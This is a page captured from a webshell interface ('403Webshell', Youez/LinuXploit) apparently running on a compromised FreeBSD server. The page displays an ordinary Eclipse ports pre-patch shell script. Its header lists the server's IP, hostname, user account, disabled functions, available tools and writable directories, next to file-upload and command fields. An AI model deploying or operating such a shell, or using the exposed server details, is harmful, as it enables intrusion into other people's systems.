403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.217.39
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/java/eclipse/scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/java/eclipse/scripts/pre-patch
#!/bin/sh
#
# Reorg source files, reusing Linux sources as the base for FreeBSD builds.
#
LINUX_DIRS="
	eclipse.platform.swt.binaries/bundles/org.eclipse.swt.gtk.linux.*
	eclipse.platform.resources/bundles/org.eclipse.core.filesystem.linux.*
	eclipse.platform.resources/bundles/org.eclipse.core.filesystem/natives/unix/linux
	eclipse.platform.team/bundles/org.eclipse.core.net.linux*
	rt.equinox.bundles/bundles/org.eclipse.equinox.security.linux*
	rt.equinox.binaries/org.eclipse.equinox.launcher.gtk.linux.*
	rt.equinox.framework/bundles/org.eclipse.equinox.launcher.gtk.linux.*"

rename_arch ()
{
	# Rename to FreeBSD TARGET_ARCH names
	F=$(echo $1 | sed -e s/linux/freebsd/)
	case $F in
	*.arm)
		echo $(echo $F | sed -e 's/arm/armv7/');;
	*.ppc64le)
		echo $(echo $F | sed -e 's/ppc64le/powerpc64/');;
	*.x86)
		echo $(echo $F | sed -e 's/x86/i386/');;
	*.x86_64)
		echo $(echo $F | sed -e 's/x86_64/amd64/');;
	*)
		echo ${F};;
	esac
}

cd ${WRKSRC}

for D in ${LINUX_DIRS}
do
	if [ ! -e ${D} ]
	then
		echo "ERROR: ${D} not found"
		continue
	fi

	NEWNAME=$(rename_arch ${D})
	mv ${D} ${NEWNAME}
	echo "INFO: ${D} -> ${NEWNAME}"

	case ${NEWNAME} in
	*.powerpc64)
		cp -rf ${NEWNAME} `echo ${NEWNAME} | sed -e 's/powerpc64/powerpc64le/'`;;
	esac
done

# Clean up binaries
rm -rf rt.equinox.binaries/org.eclipse.equinox.executable/bin/gtk/linux

Youez - 2016 - github.com/yon3zu
LinuXploit